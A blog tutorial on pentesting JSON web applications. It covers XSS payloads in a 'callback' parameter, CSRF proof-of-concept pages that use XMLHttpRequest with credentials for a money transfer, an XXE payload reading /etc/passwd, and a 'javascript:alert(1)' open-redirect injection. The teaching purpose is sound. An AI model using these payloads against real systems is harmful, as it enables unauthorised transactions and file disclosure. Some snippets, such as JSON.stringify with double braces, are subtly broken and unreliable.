Attacking JSON Application : Pentesting JSON Application

Hello all, Its quite long time i have dosn`t updated my blog. So here we go.

Today we will see how we can pentest JSON Web Application.

Note- Some of the methods are taken from third party resources and some are presented as my personal experience.

First What Is JSON According To JSON Website.

JSON (JavaScript Object Notation) is a lightweight data-interchange format. It is easy for humans to read and write. It is easy for machines to parse and generate. It is based on a subset of the JavaScript Programming Language, Standard ECMA-262 3rd Edition - December 1999

"In a lemon language JSON is typically used Javascript to pass the parameter". Like Below HTTP Request.

GET /site/getuserinfo=narendrabhati HTTP/1.1
Host: websecgeeks.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:44.0) Gecko/20100101 Firefox/44.0
Content-Type: application/json;

The Response will typically look like this

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNetMvc-Version: 4.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 21 Oct 2015 10:15:04 GMT
Content-Length: 72

{"name":"narendrabhati","email":"narendra.bhati@websecgeeks.com","website":"

http://websecgeeks.com"}

==========================================================================

Now i am directly moving to the Main Part which is different way to Pentest JSON Application.

1. Brute Force

Brute forcing or no limit for attempts like Authentication form is the basic one which the traiditional attack which we check in all web application as well as JSON Application.

If you feel brute force protection/login attempt or captcha protection then you can refer my this post

2. XSS

XSS in JSON application is as simple as we do pre-application. Basically the parameter which we are passing into the application is sended by javascript as array and response would be the also same.So we have to strip out our payload from the array.

Normally there is prameter in JSON Application called "callback" which was vulnerable recently.You can find the issue here

The payload should be like this URI

/site/getinfo?callback='alert('XSS');//

/site/getinfo?callback="alert('XSS');//

Payload depends on the tag that there is a single quote used or double quote

In the response the reflected value will be look like this

{"callback":""alert(1)//1111"}

If the value not filter or sanitized the payload will be executed and comment our the rest of the section.

The example will look like this:

3. JSON Hijacking.

A Detailed Information Is Present Here - http://www.websecgeeks.com/2016/04/json-hijacking.html

4. SQL Injection

SQL injection is a common vulnerabilities which found in applications, SQL Injection in JSON is same as Normal applications.

My suggestions is to check all the endpoint calls to look this, Because most of developers forget to add sanitization on the same

Here is the example of JSON endpoint SQL Injection

5. CSRF (Cross Site Request Forgery)

When we talk about the CSRF in Modern Web Application like JSON Its feel some sticky =D

CSRF Attack in JSON Application is typically same as we do in normal Pre-Web Application.Here is the example

POST /site/getuserinfo HTTP/1.1
Host: websecgeeks.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:44.0) Gecko/20100101 Firefox/44.0
Content-Type: application/json;
Cookie: ifyoucanthackmeyouarenob=123213kkb2k3bkbk24$$;

{"id":"1","email":"attacker@attacker.com"}

We can perform the CSRF for this request as mention below.
<html>
<form action="" method=post enctype="application/json" method="POST">
<input name='{"id":"1","email":"attacker@attacker.com"}' type='hidden'>
<input type=submit>
</form>
</html>

The enctype should be "application/json" because mostly JSON Application required this type of content to proceed.

The enctype can be different for different application, The attributes values for enctype is as below

As per my experience this normally dosn`t work.due to JSON tricky nature.SO we use another example which is also given on OWASP, Actually i am going to use the same example of OWASP with some modification.

So here is our An Example Request

POST http://websecgeeks.com/site/transfermoney HTTP/1.1

Host:websecgeeks.com

Content-Type: application/json

Cookie : attackme:"sadasdasd&*&&&&";

{ "acct":"BOB", "amount":"100" }

For performing a CSRF Attack the POC will be look like this according to OWASP

<html>
<body onload="put()">
<script>
function put() {
var x = new XMLHttpRequest();
x.open("POST","http://websecgeeks.com/site/transfermoney",true);
x.setRequestHeader("Content-Type", "application/json");
x.send(JSON.stringify({{ "acct":"BOB", "amount":"100" }}));
}
</script>

</body>
</html>

Now how much you are sure that it will work? Any guesses =D , Lets try it out. If we save this page as .html and execute this in authenticated session to test CSRF the http headers will look like this.

POST http://websecgeeks.com/site/transfermoney HTTP/1.1

Host:websecgeeks.com

Content-Type: application/json

{ "acct":"BOB", "amount":"100" }

Did you notice something? The authenticated session cookies is not set, Means this request will not work because that is not able to get authenticated and request for internal resources to perform some action.

"Here is the twist come.We have to add an another header called "access control allow credentials" which will instruct the browser to send the cookies related to REQUESTED DOMAIN."

By default, CORS does not contain cookies on cross-origin requests. This is unlike from other cross-origin techniques.

CORS require equally the server and the client to recognize that it is fine to contain cookies on requests
The server preserve and may give authorization to include cookies by setting the Access-Control-Allow-Credentialsheader.

So here i have added the same header by using "x.withCredentials = true;"

<html>
<body onload="put()">
<script>
function put() {
var x = new XMLHttpRequest();
x.open("POST","http://websecgeeks.com/site/transfermoney",true);
x.setRequestHeader("Content-Type", "application/json");
x.withCredentials = true;
x.send(JSON.stringify({{ "acct":"BOB", "amount":"100" }}));
}
</script>

</body>
</html>

This will be the final POC for JSON CSRF Attack.

Note- CORS policy is required to set as start "*" to perform cross domain request. Otherwse if CORS policy is set to any specific domain or host. Then server will straight away refuse the attacker cross domain request as untrusted domain/input.

6. XXE ( XML External Entity Injection)

This is a most common attack found in JSON/Modern Web Applications.This application due to improper content type input of user input which allow an attacker to access/read web server local files and well as performing command execution.

POST /site/getinfo HTTP/1.1
Host: websecgeeks.com
Content-Type: application/json
Content-Length: 38

{"search":"narendrabhati","value":"noob"}

Now we can send the same request but this time as XML format

POST /site/getinfo HTTP/1.1
Host: websecgeeks.com
Accept: application/json
Content-Type: application/xml
Content-Length: 112

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>narendrabhati</search>
<value>noob</value>
</root>

This request will trick the web server to think that user input payload is in XML format and as usual the application dosnt accept this type of data, He will throw an error which might be the actual output of given payload as reading the local files.

7. Session Management Vulnerabilities.

Session management vulnerabilities should be check like Session Brute Force , Brute Forcing Tokens, Session Termination, Re-Usability Of Tokens.

That is all about "Attacking JSON Application : Pentesting JSON Application". If you have any thing which should be updated/edited or have any queries please comment.

8. Open Redirection/Forwards End Points

Every open redirection and open forwards end point should be check carefully, Because sometimes you get open redirection or forwards vulnerability which might can also leads to Reflected XSS or Stored XSS, Depends on web application behaviour.

Here is an Example Of Open Redirection

You can see the "newurl" parameter value is reflecting back the value in "javascript" & "href" tag which clearly indicate that, The given value will be execute as top location, So whatever you entered in this parameter Browser will execute it as full location. So now we inject "javascript:alert(1)" in "newurl" parameter which cause the browser to execute the same as full url, result in reflected xss. Example is mention below.